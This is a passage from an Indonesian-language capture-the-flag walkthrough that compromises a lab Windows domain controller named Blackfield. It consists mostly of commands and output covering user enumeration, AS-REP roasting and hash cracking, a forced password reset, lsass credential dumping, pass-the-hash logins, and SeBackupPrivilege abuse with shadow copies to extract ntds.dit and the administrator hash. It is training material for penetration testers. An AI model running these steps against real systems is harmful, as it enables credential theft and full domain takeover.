Information Gathering
Port Scanning
nmap -sC -sV 10.10.10.192 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 12:08 WIB
Nmap scan report for 10.10.10.192
Host is up (0.028s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-25 05:03:10Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: -5m37s
| smb2-time:
| date: 2024-05-25T05:03:13
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.90 seconds
Initial Access
pada smb profiles$
memiliki banyak folder didalamnya, namun tidak ada file ataupun subfolder
smbclient -N '\\10.10.10.192\profiles$'
memang tidak ada yang menarik, namun kita bisa mencatat untuk membuat wordlist, oleh karena itu mari kita download seluruh directorynya
mask ""
recurse ON
prompt OFF
mget *
selanjutnya mari kita buat wordlist
find . | sed 's/^\.\///' > users.lst
mari kita coba wordlist tersebut untuk melakukan enumerasi username
kerbrute userenum -d BLACKFIELD users.lst --dc 10.10.10.192
...
2024/05/25 12:42:55 > [+] VALID USERNAME: support@BLACKFIELD
2024/05/25 12:44:11 > [+] VALID USERNAME: audit2020@BLACKFIELD
2024/05/25 12:45:06 > [+] VALID USERNAME: svc_backup@BLACKFIELD
...
disini kita mendapatkan 3 users valid, selanjutnya mari kita melakukan asrep-roasting
impacket-GetNPUsers -no-pass -dc-ip 10.10.10.192 -usersfile valid_users blackfield/
...
$krb5asrep$23$support@BLACKFIELD:83ee07dd8e3456bedd68209fd050be36$bc80fedd341fb8b4c9226ab5a1043eaafdb913162cce111ad852fa426ad7af8105c6260179edb26971ff528c751477c790a93f04e460b3442a813c8465e33a2a47000af31b4fa002344781f80f8138dd329d1c242f8311a9372849791ecf6854facfdaa06b21c503cf969b7bb912d5531181fc8eeb5e275ea72ca9ce2cf8de19db0d79228150542bc0bd9409310f278c528dee7d26ea6f1d06567e79068df776908d3f49a8c2801161a4b680df9b5700c334b3ec85b6cad182636b3ec5cb6ab3a58340c0246a90d343d6cff98c9ebb486529b8acbf8a27e22a28a031a210d3cd1766f513ad22754cb89574582464
...
disini kita mendapatkan hash dari user support, selanjutnya mari kita crack hash tersebut
hashcat hash /usr/share/wordlists/rockyou.txt
...
$krb5asrep$23$support@BLACKFIELD:83ee07dd8e3456bedd68209fd050be36$bc80fedd341fb8b4c9226ab5a1043eaafdb913162cce111ad852fa426ad7af8105c6260179edb26971ff528c751477c790a93f04e460b3442a813c8465e33a2a47000af31b4fa002344781f80f8138dd329d1c242f8311a9372849791ecf6854facfdaa06b21c503cf969b7bb912d5531181fc8eeb5e275ea72ca9ce2cf8de19db0d79228150542bc0bd9409310f278c528dee7d26ea6f1d06567e79068df776908d3f49a8c2801161a4b680df9b5700c334b3ec85b6cad182636b3ec5cb6ab3a58340c0246a90d343d6cff98c9ebb486529b8acbf8a27e22a28a031a210d3cd1766f513ad22754cb89574582464:#00^BlackKnight
...
kita mendapatkan kredensial dari user support yaitu support:#00^BlackKnight
, selanjutnya mari kita menggunakan bloodhound-python untuk melakukan enumerasi active directory
python3 bloodhound.py -u support -d blackfield.local -dc blackfield.local -ns 10.10.10.192 --zip -c All
selanjutnya mari kita jalankan bloodhound gui
sudo neo4j start
bloodhound
dan upload output zip tadi
Kemudian cari user support dan mark user as owned
kita memiliki beberapa user lainnya seperti audit2020 dan svc_backup. mari kita tandai sebagai mark user as high value
berdasarkan tab Analysis
tidak ada yang menarik namun kita bisa melihat bahwa support memiliki izin ForceChangePassword
ke audit2020
karena kita tidak memiliki akses untuk rce kita bisa menggunakan net rpc
sebagai jalan untuk change password
atau kita juga bisa menggunakan rpcclient
untuk change password
rpcclient -U support 10.10.10.192
setuserinfo2 audit2020 23 waduh1337
setuserinfo2 audit2020 23 waduh@1337
23
diambil dari UserInteral4Information
result: NT_STATUS_PASSWORD_RESTRICTION
menandakan password kita mungkin tidak cukup kuat atau tidak sesuai dengan policy.
disini kita telah berhasil melakukan reset password audit2020, selanjutnya mari kita check permission user tersebut terhadap smb folder dengan crackmapexec
crackmapexec smb 10.10.10.192 -u audit2020 -p 'waduh@1337' --shares
user tersebut memiliki permission READ
pada forensic, mari kita lihat dan download seluruh isinya
smbclient -N '\\10.10.10.192\forensic' -U "audit2020%waduh@1337"
mask ""
recurse ON
prompt OFF
mget *
ini membutuhkan waktu yang sangat lama, kita bisa menggunakan jalan lainnya yaitu dengan mount
sudo umount /mnt
sudo mount -t cifs -o 'username=audit2020,password=waduh@1337' //10.10.10.192/forensic /mnt
ls /mnt
kita akan memulainya pada memory_analysis
karena ini memungkinkan menyimpan NT Hash users yang tersimpan pada lsass.zip
selanjutnya mari copy lsass.zip dan extract
cp /mnt/memory_analysis/lsass.zip .
unzip lsass.zip
disini kita mendapatkan lsass.DMP mari kita coba dump file tersebut dengan pypykatz
pypykatz lsa minidump lsass.DMP > minidump.out
disini kita mendaptakan svc_backup NT Hash
cat minidump.out
Username: svc_backup
Domain: BLACKFIELD
LM: NA
NT: 9658d1d1dcd9250115e2205d9f48400d
SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
DPAPI: a03cd8e9d30171f3cfe8caad92fef621
mari kita coba pass the hash dengan crackmapexec
crackmapexec winrm 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -x whoami
...
WINRM 10.10.10.192 5985 DC01 [+] BLACKFIELD.local\svc_backup:9658d1d1dcd9250115e2205d9f48400d (Pwn3d!)
WINRM 10.10.10.192 5985 DC01 [+] Executed command
WINRM 10.10.10.192 5985 DC01 blackfield\svc_backup
...
mari kita gunakan evil-winrm untuk melakukan remote
evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
Privilege Escalation
svc_backup memiliki SeBackupPrivilege
dan SeRestorePrivilege
whoami /priv
disini kita bisa menjalankan sharpup.exe untuk mencari cara abuse
.\sharpup.exe audit TokenPrivileges
disini kita bisa langsung melakukan copy sam dan system dari HKLM
reg save hklm\sam sam
reg save hklm\system system
download sam
download system
kemudian kita jalankan impacket-secretsdump
impacket-secretsdump -sam sam -system system local
disini kita mendapatkan administrator NT hash, namun setelah saya mencoba pass the hash, hashtersebut tidak bisa digunakan.
Dumping NTDS.dit via SeBackupPrivilege (Backup Operator Group)
setelah kita mengetahui bahwa svc_backup dapat membaca file (full system read), disini kita akan user tersebut berada pada Backup Operators group
https://www.backup4all.com/what-are-backup-operators-kb.html
sebagai contoh disini saya tidak memiliki akses untuk membaca C:\users\administrator\desktop\root.txt
disini saya akan menggunakan Robocopy (SeBackup and SeRestore is required)
untuk melakukan copy terhadap seluruh isi dari directory C:\users\administrator\desktop
cd C:\windows\temp
mkdir test
cd test
robocopy /b C:\users\administrator\desktop\
pada kasus ini saya bisa melakukan copy terhadap notes.txt dan desktop.ini namun untuk alasan lain saya tidak bisa melakukan copy root.txt
oleh karena itu disini saya akan membuat sebuah alias pada C: yang dimana nanti akan kita expose pada Z: teknik ini disebut shadow copy. kita akan membuat file shadowcopy.txt dengan kode berikut
set context persistent nowriters
add volume c: alias cdrive
create
expose %cdrive% z:
selanjutnya kita perlu melakukan convert file tersebut ke DOS, upload dan jalankan dengan diskshadow
unix2dos shadowcopy.txt
upload shadowcopy.txt
diskshadow /s shadowcopy.txt
intinya dengan teknik ini kita membuat clone dari C: ke Z: namun ini seperti (symlink/shortcut). mengapat harus melakukan teknik ini? karena jika kita melakukan direct copy ke C:\windows\ntds.dit maka akan muncul error The process cannot access the file because it is being used by another process.
robocopy /b C:\windows\ntds . ntds.dit
oleh karena itu kita dapat copy dari Z: (disk yang telah dibuat)
robocopy /b Z:\windows\ntds . ntds.dit
ntds telah berhasil dicopy. selanjutnya kita dapat download ntds.dit dan kita dump dengan impacket-secretsdump
impacket-secretsdump -ntds ntds.dit -system system local > ntds.out
disini kita telah berhasil mendapatkan administrator NT Hash selanjutnya mari kita pass the hash
evil-winrm -i 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee
kita telah berhasil mendapatkan akses administrator.